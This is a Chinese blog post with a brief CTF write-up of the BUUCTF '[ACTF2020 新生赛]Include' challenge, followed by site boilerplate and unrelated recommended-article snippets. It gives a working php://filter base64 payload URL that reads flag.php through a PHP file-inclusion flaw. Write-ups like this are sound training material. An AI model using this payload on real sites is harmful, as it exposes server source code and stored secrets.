[ACTF2020 新生赛]Include

最新推荐文章于 2024-03-13 14:53:03 发布
最新推荐文章于 2024-03-13 14:53:03 发布
阅读量5.5w 收藏
点赞数
分类专栏： 网络安全 文章标签： php 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Stybill_LV_/article/details/120772861
版权

题目

在这里插入图片描述
在这里插入图片描述

解题思路

考察利用php://filter伪协议进行文件包含

构造payload = http://5165ec02-c72d-4737-85c5-295e639ea759.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述
然后放进去base64进行解密即可
在这里插入图片描述

小码爱撞墙
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
潞安矿区高河井田构造样式探讨
06-24
高河井田位于沁水块坳东南部,主要含煤地层包括二叠系下统山西组和石炭系上统太原组,构造要素走向总体为近SN—NNE向。通过对高河井田构造的系统分析,划分了两大类三亚类主要构造样式,并结合实例分析了各种构造样式对...
Jeopardy-Writeups:SniperOJ的CTF挑战比赛
05-18
SniperOJ的挑战文章和源代码描述平台...─ pwn│ ├── pwn100-bof-x86-64│ ├── pwn100-shellcode-x86-64│ ├── pwn150-static-x86-64│ ├── pwn200-actf-run-circles│ ├── pwn200-shorter-shellc
【BUUCTF】ACTF2020 新生赛Include1 write up
GZWZ_的博客
03-30 3028
鉴于前几篇wp写的有些过于小白，我以后会改的┭┮﹏┭┮（web本就逆天，死在路上很正常）！
[ACTF2020 新生赛]Include1
最新发布
m0_62959190的博客
03-13 407
进入靶场F12跳转到file=flag.phpurl地址存在参数构造pyload：?
[ACTF2020 新生赛]Include 1
qq_43618536的博客
07-01 330
BUUCTF的[ACTF2020 新生赛]Include 1
BUUCTF Web [ACTF2020 新生赛]Include
热门推荐
wangyuxiang946的博客
10-27 1万+
「作者主页」：士别三日wyx   此文章已录入专栏《网络攻防》，持续更新热门靶场的通关教程 「未知攻，焉知收」，在一个个孤独的夜晚，你完成了几百个攻防实验，回过头来才发现，已经击败了百分之九十九的同期选手。 [ACTF2020 新生赛]Include一、题目简介二、思路分析三、解题步骤1）包含 flag.php2）PHP伪协议编码文件3）解码文件内容四、总结 一、题目简介 进入题目链接后只有一个「链接」 点击链接后来到 falg.php 页面，里面是一句作者深情的「问候」。 二、.
BUUCTF WEB ACTF2020 新生赛 Include
Ethan552525的博客
07-19 485
题目： 解题： 1：点击tips 2：F12查看源码 什么也没有。 3：文件包含漏洞 根据url：http://588343f8-9c53-4080-b98f-81c243df6870.node4.buuoj.cn/?file=flag.php 和题目“ACTF2020 新生赛 Include”，可猜测为Include文件包含漏洞。可以用php://filter协议来查看源文件内容；构造：file=php://filter...
buuctf [ACTF2020 新生赛]Include
Kavint的博客
03-03 246
php伪协议，将flag.php的内容通过base64加密后读出来。注意到URL后面多了?file=flag.php改成如下。根据题目的include，应该是文件包含题目。尝试一下php伪协议读文件。
Buuctf-Web-[ACTF2020 新生赛]Include
御七彩虹猫
05-13 502
Buuctf-Web-[ACTF2020 新生赛]Include
[ACTF2020 新生赛] Include1
旺仔Sec&blog
11-04 871
[ACTF2020 新生赛] Include1解析思路
【BUUCTF】[ACTF2020 新生赛]Include1
weixin_61970418的博客
12-09 487
我们利用php伪协议中的php://filter进行读取flag.php并进行base64编码输出，否则会被当做php代码执行，而被隐藏，完整代码为。会输出一段base64编码，任意选择方式进行解码即可，我刚好开着burp，用burp中的解码器进行解码，就得到了flag。出现了一句话，Can you find the flag？，url也出现了变化，出现了？右键页面源代码，并没有出现flag。打开靶机，只有一个超链，点击。
matlab的90个实例.rar_actf8x_matlab基础知识的90个实例
09-24
MATLAB（Matrix Laboratory）是一种强大的数学计算软件，广泛应用于工程计算、数据分析、算法开发和图形化界面构建等领域。本资源“matlab的90个实例.rar”提供了MATLAB的基础知识，通过90个实例帮助初学者掌握其...
NTFS文件系统分析
09-19
### NTFS文件系统分析 #### 1. 引言 NTFS（New Technology File System）是微软公司开发的一种先进的文件系统，旨在提供更好的容错性和安全性。随着Windows操作系统的不断演进，NTFS已经成为Windows NT系列操作...
光立方888 573 2803程序
06-14
光立方是一种创新的LED显示技术，它通过三维立体排列的LED灯珠，形成一个透明、可编程的灯光展示装置。这种技术广泛应用于艺术展览、舞台效果、广告展示等领域，因其独特的视觉效果和高度的可定制性而备受青睐。...
PPJEmailPicker:UITextField替换以选择多个电子邮件
05-16
(PPJEmailPicker *) createAutoCompleteFieldWithFrame:( CGRect )frame{PPJEmailPicker * actf = [[PPJEmailPicker alloc ] initWithFrame: frame];actf. pickerDelegate = self;actf. possibleStrings = [...
fanuc函数翻译对比.doc
06-07
FANUC函数提供了多种控制轴和主轴相关的函数，例如`cnc_actf`函数用于读取实际轴进给速度，而`cnc_absolute`函数用于读取轴绝对位置。这些函数可以帮助开发者更好地控制和操作机床的控制轴和主轴。 机床状态函数 ...
focas2接口中文文档
07-28
1. `cnc_actf`：读取实际轴进给率（F），返回实际轴进给率的值。 2. `cnc_absolute`：读取绝对轴位置，返回绝对轴位置的值。 3. `cnc_absolute2`：读取绝对轴位置 2，返回绝对轴位置 2 的值。 4. `cnc_machine`：...
eclips3.7 汉化包
10-05
BabelLanguagePack-technology.actf-zh_3.7.0.v20110723043401.zip (4.46%) BabelLanguagePack-technology.bpel-zh_3.7.0.v20110723043401.zip (21.06%) BabelLanguagePack-technology.egit-zh_3.7.0.v...
[actf2020 新生赛]include
03-16
好的，我理解您的请求是让我用中文回答您的问题，那么以下是关于 "actf2020 新生赛" 和 "include" 的回答： "actf2020 新生赛" 是指 2020 年举行的一项针对新生的网络安全竞赛。该比赛旨在通过一系列的挑战来测试参赛者的网络安全技能，包括密码学、漏洞利用、逆向工程等等。 而 "include" 是一个在编程中经常使用的指令，它用于将一个文件的内容插入到另一个文件中。在 C 语言中，"include" 常用于引入头文件，以便在当前文件中使用另一个文件中定义的函数、变量等。 希望我的回答能够解决您的疑惑，如果您有任何其他问题，请随时问我。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小码爱撞墙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值